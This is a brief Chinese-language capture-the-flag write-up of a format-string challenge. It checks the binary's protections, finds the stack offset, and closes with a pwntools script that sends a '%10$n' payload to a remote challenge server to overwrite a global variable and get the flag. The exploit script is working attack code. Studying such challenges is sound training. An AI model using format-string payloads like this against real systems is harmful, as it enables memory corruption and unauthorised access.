查壳,Pie没开,但开了canary和NX,无法直接覆盖返回地址或使用shellcode
逛该ida 发现pwnme是拿到flag的关键
利用printf(%s)的特性可以泄露偏移地址
得到偏移量为10(数一数)41414141是第几个出现的
编写exp,利用%n修改pwnme的值,由于p32(addr_pwnme)占4个字节,让其==8,再填充4个字节
#!/usr/bin/env python
from pwn import *
p = remote('111.200.241.244', 45138)
addr_pwnme = 0x0804A068
p.recvuntil("please tell me your name:\n")
p.sendline('123')
payload = p32(addr_pwnme) + 'aaaa' + '%10$n'
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()